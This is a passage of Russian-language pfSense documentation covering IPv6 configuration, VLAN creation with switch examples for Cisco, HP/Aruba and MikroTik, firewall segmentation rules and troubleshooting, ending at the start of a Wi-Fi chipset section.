Расширение 6to4, управляемое провайдером. Провайдер предоставляет параметры 6rd-туннеля:

1. Перейдите в **Interfaces - WAN**
2. В разделе **IPv6 Configuration Type** выберите **6rd Tunnel**
3. Укажите параметры, предоставленные провайдером:
   - **6rd Prefix** - IPv6-префикс от провайдера
   - **6rd Border Relay** - адрес реле провайдера
   - **6rd IPv4 Prefix Length** - длина IPv4-префикса

### Tunnel Broker

Hurricane Electric (tunnelbroker.net) и другие провайдеры туннелей предоставляют бесплатные IPv6-туннели:

1. Зарегистрируйтесь на tunnelbroker.net и создайте туннель
2. В pfSense перейдите в **Interfaces - Assign - GIFs**
3. Создайте GIF-интерфейс:
   - **Parent Interface** - WAN
   - **GIF Remote Address** - IPv4-адрес сервера HE
   - **GIF Tunnel Local Address** - ваш IPv6-адрес туннеля (Client IPv6 Address)
   - **GIF Tunnel Remote Address** - IPv6-адрес сервера HE (Server IPv6 Address)
4. Назначьте созданный GIF-интерфейс как новый интерфейс (Interfaces - Assign)
5. Настройте шлюз IPv6 через этот интерфейс
6. Routed /48 или /64 от HE используйте для LAN-подсетей

## Настройка LAN IPv6

### Router Advertisements (RA)

Router Advertisements - основной механизм автоконфигурации IPv6 на LAN. Настройка:

1. Перейдите в **Services - Router Advertisements**
2. Выберите LAN-интерфейс
3. Настройте режим RA:

| Режим | Описание | Когда использовать |
|---|---|---|
| Router Only | Только маршрутизатор, без раздачи адресов | Когда адреса назначаются статически |
| Unmanaged | SLAAC без DHCPv6 | Простые сети без необходимости в DNS/NTP от DHCPv6 |
| Managed | Только DHCPv6, без SLAAC | Полный контроль адресации через DHCPv6 |
| Assisted | SLAAC + DHCPv6 для дополнительных параметров | Рекомендуемый для большинства сетей |

Для режима **Assisted** (наиболее универсальный):

- Клиенты получают IPv6-адрес через SLAAC
- DNS-серверы и другие параметры передаются через DHCPv6
- Обеспечивается совместимость с Android-устройствами (которые не поддерживают DHCPv6 для адресации)

### Track Interface

Если WAN получает делегированный префикс через DHCPv6, используйте Track Interface для автоматического назначения подсети на LAN:

1. Перейдите в **Interfaces - LAN**
2. В разделе **IPv6 Configuration Type** выберите **Track Interface**
3. Настройте:
   - **IPv6 Interface** - выберите WAN (или интерфейс с DHCPv6)
   - **IPv6 Prefix ID** - идентификатор подсети (0 для первой, 1 для второй и т.д.)

При делегированном префиксе /56 на WAN, каждый LAN-интерфейс получит подсеть /64 из этого префикса. Prefix ID определяет, какая именно подсеть /64 будет назначена.

### DHCPv6 Server

Для управляемой адресации (Managed RA) или передачи дополнительных параметров (Assisted RA):

1. Перейдите в **Services - DHCPv6 Server & RA**
2. Выберите LAN-интерфейс
3. Включите DHCPv6 Server
4. Настройте диапазон адресов и параметры:
   - **Range** - диапазон адресов для динамической раздачи
   - **DNS Servers** - адреса DNS-серверов IPv6 (оставьте пустым для использования адреса pfSense)
   - **Domain Search List** - список доменов для поиска

## Конфигурация dual-stack

В режиме dual-stack pfSense обрабатывает IPv4 и IPv6 трафик одновременно. Ключевые аспекты:

- **Каждый интерфейс** имеет независимые настройки IPv4 и IPv6
- **Правила файрвола** разделены: отдельные вкладки для IPv4, IPv6 и IPv4+IPv6
- **NAT** применяется только к IPv4. Для IPv6 используется NPt (Network Prefix Translation), если необходимо
- **DNS Resolver** обслуживает запросы по обоим протоколам автоматически
- **Шлюзы** IPv4 и IPv6 настраиваются независимо

Для корректной работы dual-stack убедитесь, что:

1. Оба протокола настроены на WAN и LAN
2. Шлюзы по умолчанию настроены для обоих протоколов (System - Routing)
3. DNS-серверы указаны для обоих протоколов (System - General Setup)
4. Правила файрвола разрешают необходимый трафик для обоих протоколов

## Правила файрвола для IPv6

Правила файрвола IPv6 управляются на тех же вкладках интерфейсов, но фильтруются отдельно. При создании правила выберите **Address Family**:

- **IPv4** - правило применяется только к IPv4-трафику
- **IPv6** - правило применяется только к IPv6-трафику
- **IPv4+IPv6** - правило применяется к обоим протоколам

### Обязательные правила IPv6

Для корректной работы IPv6 на LAN создайте следующие правила:

1. **Разрешить ICMPv6**: IPv6 критически зависит от ICMPv6 (NDP, Path MTU Discovery). Блокировка ICMPv6 нарушает работу IPv6

```
Action: Pass
Interface: LAN
Address Family: IPv6
Protocol: ICMPv6
Source: LAN net
Destination: any
```

2. **Разрешить исходящий трафик**: базовое правило для доступа LAN-клиентов в интернет по IPv6

```
Action: Pass
Interface: LAN
Address Family: IPv6
Protocol: any
Source: LAN net
Destination: any
```

> **Предупреждение**: в IPv6 нет NAT по умолчанию. Каждое устройство в LAN получает глобально маршрутизируемый адрес. Файрвол - единственный уровень защиты. Тщательно продумайте правила для IPv6, особенно на WAN-интерфейсе.

### Блокировка входящего IPv6

По умолчанию pfSense блокирует весь входящий трафик на WAN (implicit deny). Для IPv6 это означает, что внешние хосты не смогут инициировать подключения к вашим LAN-устройствам, несмотря на наличие глобальных адресов. Это поведение аналогично NAT в IPv4, но реализовано через файрвол.

## NPt (Network Prefix Translation)

NPt выполняет трансляцию IPv6-префиксов аналогично NAT 1:1 в IPv4. Используется для:

- Маскировки внутреннего IPv6-префикса при смене провайдера
- Обеспечения стабильных внутренних адресов при использовании динамических префиксов от провайдера
- Multihoming с несколькими провайдерами

Настройка NPt:

1. Перейдите в **Firewall - NAT - NPt**
2. Добавьте правило:
   - **Interface** - WAN
   - **Internal IPv6 Prefix** - ULA-префикс вашей внутренней сети (например, fd00:1::/64)
   - **Destination IPv6 Prefix** - глобальный префикс от провайдера

NPt не изменяет содержимое пакетов за пределами адресов, поэтому не нарушает работу протоколов, чувствительных к NAT.

## Диагностика проблем IPv6

### Нет IPv6-подключения

Если клиенты LAN не получают IPv6-адреса или не имеют IPv6-связности:

1. **Проверьте WAN**: Status - Interfaces. Убедитесь, что WAN-интерфейс получил IPv6-адрес и шлюз
2. **Проверьте prefix delegation**: Status - Interfaces - WAN, найдите строку Delegated Prefix. Если префикс отсутствует - проблема с DHCPv6 от провайдера
3. **Проверьте RA**: Services - Router Advertisements. Убедитесь, что режим не установлен на Disabled
4. **Проверьте правила**: убедитесь, что ICMPv6 разрешен на LAN
5. **Тестируйте с pfSense**: Diagnostics - Ping, выберите WAN IPv6-адрес как источник, выполните ping до 2001:4860:4860::8888 (Google DNS IPv6)

### Проблемы с Prefix Delegation

Если WAN получает IPv6-адрес, но prefix delegation не работает:

- Проверьте размер запрашиваемого префикса - он должен совпадать с предложением провайдера
- Включите опцию **Send IPv6 prefix hint** на WAN
- Попробуйте включить **Do not wait for a RA** - некоторые провайдеры не отправляют RA
- Проверьте журналы DHCPv6: Status - System Logs - DHCPv6
- Обратитесь к провайдеру для уточнения поддерживаемого размера Prefix Delegation

### Клиенты получают адрес, но нет связности

Если клиенты имеют IPv6-адрес, но не могут выйти в интернет:

1. **Проверьте маршрут по умолчанию IPv6**: Diagnostics - Routes, вкладка IPv6. Убедитесь, что маршрут по умолчанию (`::/0`) присутствует и указывает на WAN-шлюз
2. **Проверьте правила на LAN**: убедитесь, что правила разрешают IPv6-трафик от LAN net
3. **Проверьте MTU**: Path MTU Discovery зависит от ICMPv6 Packet Too Big. Если ICMPv6 заблокирован, MTU не согласуется и пакеты теряются

Дополнительные сведения о правилах файрвола доступны в разделе [файрвол pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/). Для диагностики общих проблем обратитесь к [руководству по устранению неполадок](/docs/pfsense/troubleshooting/pfsense-general-troubleshooting/). Настройка VLAN с IPv6 рассмотрена в разделе [VLAN](/docs/pfsense/vlans/).


---

# Настройка VLAN в pfSense - создание и управление 802.1Q

Source: https://opennix.org/docs/pfsense/vlans/pfsense-vlan-setup/


Сегментация сети с помощью VLAN позволяет логически разделить физическую инфраструктуру на изолированные зоны без приобретения дополнительного оборудования. pfSense выступает в роли маршрутизатора между VLAN (router-on-a-stick), принимая тегированный трафик от коммутатора через единственный физический порт и обеспечивая маршрутизацию между сегментами с контролем доступа на уровне файрвола. Типичные сценарии применения включают разделение корпоративной сети на сегменты сотрудников, гостевой Wi-Fi, серверную ферму, IoT-устройства и выделенный контур управления.

## Терминология

Перед началом настройки необходимо уточнить ключевые термины, используемые при работе с VLAN.

### VLAN ID (тег)

Числовой идентификатор виртуальной сети в диапазоне от 1 до 4094. VLAN 1 обычно зарезервирован как native VLAN по умолчанию на большинстве коммутаторов. VLAN 0 и 4095 зарезервированы стандартом и не используются для пользовательского трафика. На практике рекомендуется присваивать идентификаторы с логической группировкой: например, 10-19 для пользовательских сегментов, 20-29 для серверных, 30-39 для управления, 100+ для гостевых и IoT.

### Trunk-порт

Порт коммутатора, сконфигурированный для передачи тегированного трафика нескольких VLAN одновременно. Каждый Ethernet-кадр, проходящий через trunk, содержит 802.1Q-тег с идентификатором VLAN. Trunk-порт используется для соединения коммутатора с pfSense, а также для каскадных соединений между коммутаторами.

### Access-порт

Порт коммутатора, назначенный в один конкретный VLAN. Трафик на access-порту передаётся без тегов - конечное устройство не знает о существовании VLAN. Коммутатор добавляет тег при приёме кадра от устройства и снимает тег при отправке кадра на устройство.

### Native VLAN

VLAN, трафик которого передаётся через trunk-порт без тегирования. По умолчанию native VLAN имеет идентификатор 1 на большинстве платформ. Несовпадение native VLAN на двух сторонах trunk-соединения приводит к утечке трафика между VLAN и является серьёзной уязвимостью (VLAN hopping). Рекомендуется изменить native VLAN на неиспользуемый идентификатор или включить тегирование native VLAN на коммутаторе.

### 802.1Q-тег

Четырёхбайтовое поле, вставляемое в заголовок Ethernet-кадра после MAC-адреса источника. Содержит TPID (Tag Protocol Identifier, 0x8100 для стандартного C-Tag), приоритет 802.1p (3 бита, значения 0-7), флаг DEI (Drop Eligible Indicator) и собственно VLAN ID (12 бит). Добавление тега увеличивает максимальный размер кадра с 1518 до 1522 байт, что необходимо учитывать при настройке MTU.

## Подготовка коммутатора

Корректная работа VLAN в pfSense требует предварительной настройки коммутатора. Порт, соединяющий коммутатор с pfSense, необходимо настроить как trunk, разрешающий прохождение всех требуемых VLAN. Порты конечных устройств настраиваются как access-порты с назначением в соответствующий VLAN.

### Планирование VLAN

Перед настройкой следует составить план адресации и распределения VLAN.

| VLAN ID | Назначение | Подсеть | Шлюз (pfSense) |
|---|---|---|---|
| 10 | Сотрудники | 192.168.10.0/24 | 192.168.10.1 |
| 20 | Серверы | 192.168.20.0/24 | 192.168.20.1 |
| 30 | Управление | 192.168.30.0/24 | 192.168.30.1 |
| 40 | Гостевая сеть | 192.168.40.0/24 | 192.168.40.1 |
| 50 | IoT-устройства | 192.168.50.0/24 | 192.168.50.1 |

### Cisco IOS

```text
! Настройка trunk-порта к pfSense
interface GigabitEthernet0/1
 description Trunk to pfSense
 switchport mode trunk
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 10,20,30,40,50
 switchport trunk native vlan 999
 spanning-tree portfast trunk
 no shutdown

! Access-порт для рабочей станции в VLAN 10
interface GigabitEthernet0/2
 description Workstation - Staff VLAN
 switchport mode access
 switchport access vlan 10
 spanning-tree portfast
 no shutdown

! Access-порт для сервера в VLAN 20
interface GigabitEthernet0/10
 description Server - Server VLAN
 switchport mode access
 switchport access vlan 20
 spanning-tree portfast
 no shutdown
```

Команда `switchport trunk encapsulation dot1q` требуется на платформах, поддерживающих несколько протоколов инкапсуляции (ISL и 802.1Q). На современных коммутаторах Catalyst с единственной поддержкой 802.1Q эта команда может отсутствовать.

### HP/Aruba ProCurve

```text
# Создание VLAN
vlan 10
 name "Staff"
 untagged 2-9
 tagged 1
 exit

vlan 20
 name "Servers"
 untagged 10-16
 tagged 1
 exit

vlan 30
 name "Management"
 tagged 1
 exit

vlan 40
 name "Guest"
 tagged 1
 exit

vlan 50
 name "IoT"
 tagged 1
 exit

# Порт 1 - trunk к pfSense (tagged для всех VLAN)
# Порты 2-9 - access для сотрудников (untagged VLAN 10)
# Порты 10-16 - access для серверов (untagged VLAN 20)
```

В терминологии HP/Aruba `tagged` соответствует trunk (тегированные кадры), а `untagged` - access (нетегированные кадры). Порт может одновременно быть tagged в нескольких VLAN и untagged в одном.

### MikroTik RouterOS

```text
# Создание bridge
/interface bridge add name=bridge1

# Добавление физических портов в bridge
/interface bridge port add bridge=bridge1 interface=ether2
/interface bridge port add bridge=bridge1 interface=ether3
/interface bridge port add bridge=bridge1 interface=ether4

# Включение VLAN-фильтрации на bridge
/interface bridge set bridge1 vlan-filtering=yes

# Настройка trunk-порта к pfSense (ether1)
/interface bridge port add bridge=bridge1 interface=ether1

# Определение VLAN на bridge
/interface bridge vlan
add bridge=bridge1 tagged=ether1 untagged=ether2,ether3 vlan-ids=10
add bridge=bridge1 tagged=ether1 untagged=ether4 vlan-ids=20
add bridge=bridge1 tagged=ether1 vlan-ids=30
add bridge=bridge1 tagged=ether1 vlan-ids=40
add bridge=bridge1 tagged=ether1 vlan-ids=50

# Назначение PVID на access-портах
/interface bridge port
set [find interface=ether2] pvid=10
set [find interface=ether3] pvid=10
set [find interface=ether4] pvid=20
```

> **Внимание**:
>
> Включение `vlan-filtering=yes` на bridge в MikroTik RouterOS может привести к потере удалённого доступа к устройству, если management-интерфейс не настроен корректно. Рекомендуется выполнять эту операцию при наличии физического доступа к консоли или через Safe Mode.

## Создание VLAN в pfSense

После подготовки коммутатора необходимо создать VLAN-интерфейсы в pfSense.

### Шаг 1. Переход к настройке VLAN

Откройте веб-интерфейс pfSense и перейдите в раздел **Interfaces > Assignments**. Выберите вкладку **VLANs**.

### Шаг 2. Создание VLAN

Нажмите кнопку **Add** для создания нового VLAN. Заполните следующие поля:

- **Parent Interface** - физический интерфейс, через который подключён trunk-порт коммутатора. Обычно это выделенный интерфейс LAN или дополнительный сетевой адаптер (например, `igb1`, `em1`, `ix0`). Не рекомендуется использовать WAN-интерфейс в качестве parent для VLAN.
- **VLAN Tag** - числовой идентификатор VLAN (1-4094), соответствующий настройкам коммутатора.
- **VLAN Priority** - приоритет 802.1p (0-7, необязательное поле). Значение 0 используется по умолчанию (best effort). Более высокие значения применяются для приоритизации голосового трафика (обычно 5-6) или сетевого управления (7).
- **Description** - описание VLAN для удобства идентификации (например, "Staff Network", "Guest WiFi", "Server Farm").

Нажмите **Save** для сохранения.

### Шаг 3. Повторение для каждого VLAN

Повторите процедуру создания для всех запланированных VLAN. После завершения на вкладке VLANs должен отображаться полный список созданных виртуальных сетей с указанием parent-интерфейса и тега.

> **Внимание**:
>
> Все VLAN, использующие один физический порт, должны ссылаться на один и тот же parent interface. Создание VLAN с одинаковым тегом на разных parent-интерфейсах допустимо, но приводит к созданию двух независимых сегментов.

## Назначение интерфейса

После создания VLAN-интерфейсы необходимо назначить как логические интерфейсы pfSense и сконфигурировать IP-адресацию.

### Шаг 1. Добавление интерфейса

Перейдите в **Interfaces > Assignments** на вкладку **Interface Assignments**. В выпадающем списке **Available network ports** выберите созданный VLAN (отображается в формате `VLAN 10 on igb1 - Staff Network`) и нажмите **Add**.

Новый интерфейс появится в списке как OPTn (например, OPT1, OPT2). Повторите для каждого VLAN.

### Шаг 2. Конфигурация интерфейса

Нажмите на имя назначенного интерфейса (например, OPT1) для перехода к его настройкам. Выполните следующую конфигурацию:

- **Enable** - установите флажок для активации интерфейса.
- **Description** - задайте информативное имя (например, STAFF, SERVERS, GUEST). Это имя будет отображаться в правилах файрвола и навигации интерфейса.
- **IPv4 Configuration Type** - выберите **Static IPv4**.
- **IPv4 Address** - укажите адрес шлюза для данного VLAN (например, 192.168.10.1) с маской подсети (/24).
- **IPv6 Configuration Type** - настройте при необходимости или оставьте **None**.

Нажмите **Save**, затем **Apply Changes**.

### Шаг 3. Переименование интерфейсов

Рекомендуется присвоить интерфейсам осмысленные имена вместо стандартных OPTn. Имена интерфейсов в pfSense ограничены буквами, цифрами и подчёркиванием, без пробелов. Допустимые примеры: `STAFF`, `SERVERS`, `GUEST_WIFI`, `IOT`, `MGMT`.

## DHCP для VLAN

Каждый VLAN-интерфейс может обслуживать собственный DHCP-сервер с индивидуальным пулом адресов и параметрами.

### Настройка DHCP-сервера

Перейдите в **Services > DHCP Server** и выберите вкладку с именем VLAN-интерфейса (например, STAFF).

Основные параметры конфигурации:

- **Enable** - активировать DHCP-сервер на данном интерфейсе.
- **Range** - диапазон выдаваемых адресов. Рекомендуется оставить начало диапазона подсети для статических назначений. Например, для подсети 192.168.10.0/24 установите диапазон 192.168.10.100 - 192.168.10.250.
- **DNS Servers** - DNS-серверы для клиентов. Можно указать адрес pfSense (192.168.10.1 при использовании встроенного DNS Resolver) или внешние серверы.
- **Gateway** - шлюз по умолчанию. Автоматически устанавливается в адрес интерфейса pfSense.
- **Domain Name** - доменное имя для клиентов (например, `staff.local`).
- **Lease Time** - время аренды адреса в секундах. По умолчанию 7200 (2 часа). Для гостевых сетей рекомендуется уменьшить до 3600 (1 час), для серверных - увеличить до 86400 (24 часа).

### Пример конфигурации DHCP для нескольких VLAN

| Параметр | STAFF (VLAN 10) | SERVERS (VLAN 20) | GUEST (VLAN 40) |
|---|---|---|---|
| Диапазон | .100 - .250 | .100 - .200 | .10 - .250 |
| DNS | 192.168.10.1 | 192.168.20.1 | 8.8.8.8, 8.8.4.4 |
| Lease time | 7200 | 86400 | 3600 |
| Domain | staff.local | servers.local | guest.local |

Для серверного сегмента часто предпочтительна статическая адресация. В этом случае DHCP-сервер на VLAN 20 можно не активировать или настроить только для выдачи резерваций (static mappings).

## Правила файрвола

По умолчанию pfSense блокирует весь входящий трафик на вновь созданных интерфейсах (OPT). Для обеспечения сетевого доступа необходимо создать правила файрвола на каждом VLAN-интерфейсе.

### Базовый набор правил

Перейдите в **Firewall > Rules** и выберите вкладку с именем VLAN-интерфейса.

#### Правило разрешения доступа в интернет

Для предоставления VLAN доступа в интернет без возможности обращения к другим локальным сегментам создайте следующую последовательность правил:

1. **Блокировка доступа к RFC1918** - запрещает трафик к приватным подсетям (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), предотвращая межсегментное взаимодействие.
2. **Разрешение доступа в интернет** - разрешает весь остальной трафик.

Пример настройки правила блокировки RFC1918:

- **Action**: Block
- **Interface**: GUEST (или имя VLAN-интерфейса)
- **Address Family**: IPv4
- **Protocol**: Any
- **Source**: GUEST net
- **Destination**: выберите **Network** и создайте [алиас](/docs/pfsense/firewall/pfsense-firewall-aliases/) RFC1918 со значениями 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
- **Description**: Block access to private networks

Пример настройки правила разрешения интернета:

- **Action**: Pass
- **Interface**: GUEST
- **Protocol**: Any
- **Source**: GUEST net
- **Destination**: Any
- **Description**: Allow internet access

> **Внимание**:
>
> Порядок правил критически важен. Правило блокировки RFC1918 должно располагаться выше правила разрешения доступа в интернет. pfSense обрабатывает правила сверху вниз по принципу first match wins - первое совпавшее правило определяет судьбу пакета.

### Правила для DNS

При блокировке межсегментного трафика необходимо явно разрешить DNS-запросы к pfSense, если он используется как DNS-сервер для VLAN:

- **Action**: Pass
- **Interface**: GUEST
- **Protocol**: TCP/UDP
- **Source**: GUEST net
- **Destination**: GUEST address (адрес pfSense на данном интерфейсе)
- **Destination Port**: 53
- **Description**: Allow DNS to pfSense

Это правило необходимо разместить выше правила блокировки RFC1918.

### Рекомендуемый порядок правил для изолированного VLAN

| Порядок | Действие | Источник | Назначение | Порт | Описание |
|---|---|---|---|---|---|
| 1 | Pass | VLAN net | VLAN address | 53 | DNS to pfSense |
| 2 | Block | VLAN net | RFC1918 alias | Any | Block private networks |
| 3 | Pass | VLAN net | Any | Any | Allow internet |

## Inter-VLAN routing

По умолчанию при наличии правил, разрешающих межсегментный трафик, pfSense маршрутизирует пакеты между VLAN через свои интерфейсы. Контроль доступа между VLAN осуществляется исключительно правилами файрвола - отдельная настройка маршрутизации не требуется, поскольку pfSense является directly connected шлюзом для каждого VLAN.

### Разрешение определённого трафика между VLAN

Для предоставления доступа из VLAN сотрудников (VLAN 10) к серверам (VLAN 20) создайте правило на интерфейсе STAFF:

- **Action**: Pass
- **Interface**: STAFF
- **Protocol**: TCP
- **Source**: STAFF net
- **Destination**: SERVERS net
- **Destination Port**: выберите необходимые порты (например, 80, 443, 3389, 22)
- **Description**: Allow staff access to servers

Это правило необходимо разместить выше правила блокировки RFC1918 на интерфейсе STAFF.

### Типичные паттерны межсегментного доступа

| Источник | Назначение | Порты | Обоснование |
|---|---|---|---|
| STAFF | SERVERS | 80, 443, 3389, 22 | Доступ к веб-сервисам и администрирование |
| MGMT | Все VLAN | Any | Полный доступ для администраторов |
| SERVERS | STAFF | - | Запрещено (серверы не инициируют подключения к рабочим станциям) |
| GUEST | Все VLAN | - | Запрещено (полная изоляция) |
| IOT | Все VLAN | - | Запрещено (полная изоляция) |
| IOT | Интернет | 443, 8883 | Только HTTPS и MQTT over TLS |

### Управляющий VLAN

Для VLAN управления (MGMT, VLAN 30) обычно разрешается полный доступ ко всем сегментам. Это позволяет администраторам обращаться к устройствам в любом VLAN. Правила на интерфейсе MGMT:

1. **Pass** - MGMT net -> Any -> Any (полный доступ)

При этом доступ из других VLAN в MGMT должен быть заблокирован. На каждом другом интерфейсе добавьте правило:

- **Block** - VLAN net -> MGMT net -> Any (запрет доступа к управляющему сегменту)

## Типичные сценарии

### Офисная сегментация

Наиболее распространённый сценарий - разделение корпоративной сети на функциональные зоны.

```text
                    ┌─────────────┐
                    │  Интернет   │
                    └──────┬──────┘
                           │ WAN
                    ┌──────┴──────┐
                    │   pfSense   │
                    └──────┬──────┘
                           │ Trunk (802.1Q)
                    ┌──────┴──────┐
                    │  Коммутатор │
                    └──┬──┬──┬──┬─┘
                       │  │  │  │
              VLAN 10  │  │  │  │ VLAN 50
             Сотрудн.  │  │  │  │ IoT
                    VLAN 20│  │ VLAN 40
                   Серверы │  │ Гости
                        VLAN 30
                       Управл.
```

Правила доступа:

- Сотрудники получают доступ к серверам и интернету
- Серверы имеют доступ в интернет для обновлений
- Гостевая сеть - только интернет, полная изоляция от корпоративных ресурсов
- IoT-устройства - ограниченный доступ в интернет (только HTTPS/MQTT)
- Управление - полный доступ ко всем сегментам

### Мультитенантная среда

В сценарии с несколькими арендаторами (например, коворкинг, бизнес-центр) каждому арендатору выделяется собственный VLAN с полной изоляцией:

| VLAN ID | Арендатор | Подсеть |
|---|---|---|
| 100 | Компания A | 10.100.0.0/24 |
| 101 | Компания B | 10.101.0.0/24 |
| 102 | Компания C | 10.102.0.0/24 |
| 200 | Общие ресурсы | 10.200.0.0/24 |

Каждый VLAN арендатора получает полную изоляцию от остальных. Доступ к общим ресурсам (принтеры, конференц-оборудование) контролируется правилами файрвола с разрешением только необходимых протоколов.

## Миграция с других платформ

### Миграция с Cisco L3-коммутатора

При переносе inter-VLAN routing с Cisco L3-коммутатора на pfSense необходимо учитывать архитектурные различия. На L3-коммутаторе маршрутизация выполняется аппаратно между SVI (Switch Virtual Interfaces) на скорости линии. При переносе на pfSense маршрутизация становится программной через router-on-a-stick, что может снизить производительность при высоких объёмах межсегментного трафика.

Порядок миграции:

1. Документируйте текущую конфигурацию SVI, ACL и маршрутов на L3-коммутаторе.
2. Создайте соответствующие VLAN в pfSense с идентичными тегами.
3. Назначьте интерфейсы и настройте IP-адреса шлюзов (должны совпадать с бывшими адресами SVI).
4. Воспроизведите ACL в виде правил файрвола pfSense.
5. Настройте DHCP-серверы для каждого VLAN с теми же параметрами.
6. Переведите L3-коммутатор в режим L2 (`no ip routing`), настройте trunk к pfSense.
7. Переключите шлюз по умолчанию для клиентов на pfSense (через DHCP или статически).

> **Внимание**:
>
> При использовании тех же IP-адресов шлюзов на pfSense, что и на бывшем L3-коммутаторе, клиенты не потребуют изменения настроек. Однако необходимо убедиться, что ARP-кеш клиентов обновился - при необходимости перезагрузите клиентские устройства или выполните `arp -d` на критичных системах.

### Миграция с MikroTik

MikroTik RouterOS использует bridge с VLAN-фильтрацией для L2-сегментации и IP-адреса на VLAN-интерфейсах для маршрутизации. При миграции на pfSense:

1. Экспортируйте конфигурацию MikroTik: `/export file=backup`.
2. Перенесите VLAN ID - они должны совпадать на обеих платформах.
3. Настройте MikroTik bridge исключительно в режиме L2 с trunk к pfSense.
4. Перенесите IP-адреса шлюзов и firewall filter rules.
5. Обратите внимание: MikroTik firewall chains (input/forward/output) не имеют прямого аналога в pfSense. Правила необходимо реструктурировать под per-interface модель pfSense.

### Миграция с FortiGate

FortiGate использует VLAN-интерфейсы (subinterfaces), привязанные к физическим портам. Архитектурно это ближе всего к модели pfSense. При миграции:

1. Экспортируйте конфигурацию FortiGate через `execute backup config`.
2. VLAN-интерфейсы FortiGate напрямую соответствуют VLAN в pfSense.
3. Перенесите security policies в правила файрвола pfSense, учитывая, что FortiGate использует zone-based модель, а pfSense - interface-based.
4. FortiGate address objects соответствуют [алиасам](/docs/pfsense/firewall/pfsense-firewall-aliases/) pfSense.
5. При наличии SD-WAN на FortiGate обратитесь к разделу [Multi-WAN](/docs/pfsense/multi-wan/) для настройки аналогичной функциональности.

## Устранение неполадок

### VLAN не пропускает трафик

**Симптом**: клиенты в VLAN не получают IP-адрес по DHCP или не имеют сетевого доступа.

**Диагностика**:

1. Проверьте статус интерфейса в **Status > Interfaces** - VLAN-интерфейс должен быть в состоянии UP с назначенным IP-адресом.
2. Убедитесь, что интерфейс активирован (Enable checkbox) в настройках интерфейса.
3. Проверьте конфигурацию trunk-порта на коммутаторе - VLAN ID должен быть в списке разрешённых.
4. Выполните захват пакетов в **Diagnostics > Packet Capture** на VLAN-интерфейсе для проверки поступления тегированного трафика.
5. Проверьте наличие правил файрвола на VLAN-интерфейсе - по умолчанию весь трафик блокируется.

### Двойное тегирование (Double Tagging)

**Симптом**: трафик VLAN не достигает pfSense или направляется в неправильный сегмент.

**Причина**: несовпадение native VLAN на trunk-порту коммутатора и parent-интерфейсе pfSense. Если native VLAN коммутатора совпадает с одним из рабочих VLAN, кадры этого VLAN передаются без тега. pfSense получает нетегированный кадр и обрабатывает его на parent-интерфейсе вместо VLAN-интерфейса.

**Решение**:

1. Установите native VLAN на trunk-порту коммутатора в неиспользуемый VLAN (например, 999).
2. Убедитесь, что parent-интерфейс pfSense не используется для пользовательского трафика.
3. На Cisco: `switchport trunk native vlan 999`.
4. На HP/Aruba: удалите trunk-порт из untagged members VLAN 1.

### Проблемы с MTU

**Симптом**: соединения устанавливаются, но крупные пакеты теряются. Веб-страницы загружаются частично или TCP-соединения зависают при передаче данных.

**Причина**: добавление 802.1Q-тега увеличивает размер Ethernet-кадра на 4 байта (с 1518 до 1522 байт). Некоторые сетевые адаптеры (особенно на базе Realtek rl(4)) не поддерживают jumbo/long frames и отбрасывают кадры размером более 1518 байт.

**Решение**:

1. Уменьшите MTU на VLAN-интерфейсе pfSense до 1496 байт (1500 - 4 байта тег). Настройка выполняется в **Interfaces > [VLAN interface] > MTU**.
2. Альтернативно замените сетевой адаптер на модель с поддержкой аппаратного VLAN-тегирования (Intel igb, ixgbe).
3. Проверьте MTU на промежуточных устройствах - все звенья цепочки должны поддерживать увеличенный размер кадра.

### DHCP не выдаёт адреса в VLAN

**Симптом**: клиенты в VLAN получают адрес из диапазона 169.254.x.x (APIPA).

**Диагностика**:

1. Убедитесь, что DHCP-сервер активирован на VLAN-интерфейсе в **Services > DHCP Server**.
2. Проверьте, что диапазон выдаваемых адресов находится в той же подсети, что и интерфейс pfSense.
3. Убедитесь, что правила файрвола не блокируют DHCP-трафик (UDP 67/68). При наличии правила anti-lockout оно автоматически пропускает DHCP - но только на интерфейсе с активным anti-lockout.
4. Проверьте журнал DHCP в **Status > System Logs > DHCP** на наличие ошибок.

### Асимметричная маршрутизация

**Симптом**: трафик между VLAN работает в одном направлении, но не в обратном. Или соединения устанавливаются, но данные не передаются.

**Причина**: в сети присутствует альтернативный маршрут (например, старый L3-коммутатор), и ответный трафик идёт по другому пути, минуя pfSense. Stateful firewall pfSense отбрасывает пакеты, не соответствующие известному состоянию соединения.

**Решение**:

1. Убедитесь, что pfSense является единственным шлюзом для всех VLAN.
2. Отключите маршрутизацию на L3-коммутаторах, если они более не выполняют эту функцию.
3. В качестве временной меры можно включить опцию **System > Advanced > Firewall & NAT > Bypass firewall rules for traffic on the same interface**, но это снижает безопасность.

## Связанные разделы

- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание и управление правилами фильтрации для контроля трафика между VLAN
- [Алиасы](/docs/pfsense/firewall/pfsense-firewall-aliases/) - группировка подсетей и портов для упрощения правил межсегментного доступа
- [Статические маршруты](/docs/pfsense/routing/) - настройка маршрутизации при наличии дополнительных подсетей за VLAN-интерфейсами


---

# Настройка Wi-Fi в pfSense - точка доступа и безопасность

Source: https://opennix.org/docs/pfsense/wireless/pfsense-wireless-setup/


Встроенная поддержка Wi-Fi в pfSense позволяет превратить систему в беспроводную точку доступа без дополнительного оборудования. Беспроводной интерфейс создаётся поверх физического Wi-Fi адаптера и настраивается через веб-интерфейс pfSense аналогично проводным интерфейсам. После настройки беспроводной интерфейс получает собственные правила файрвола, DHCP-сервер и может быть интегрирован с [VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/) и [Captive Portal](/docs/pfsense/captive-portal/).

## Поддерживаемые беспроводные чипсеты

pfSense работает на базе FreeBSD, поэтому совместимость беспроводных адаптеров определяется наличием драйверов в ядре FreeBSD. Не все Wi-Fi адаптеры поддерживаются, и не все поддерживаемые адаптеры работают в режиме точки доступа (hostap).

### Рекомендуемые чипсеты

| Чипсет | Драйвер FreeBSD | Режим AP | Диапазон | Примечания |
|---|---|---|---|---|
| Atheros AR9280 | ath(4) | Да | 2.4/5 ГГц | Наиболее совместимый, двухдиапазонный |
| Atheros AR9287 | ath(4) | Да | 2.4 ГГц | Стабильная работа, только 2.4 ГГц |
| Atheros AR9380 | ath(4) | Да | 2.4/5 ГГц | 802.11n 3x3 MIMO |
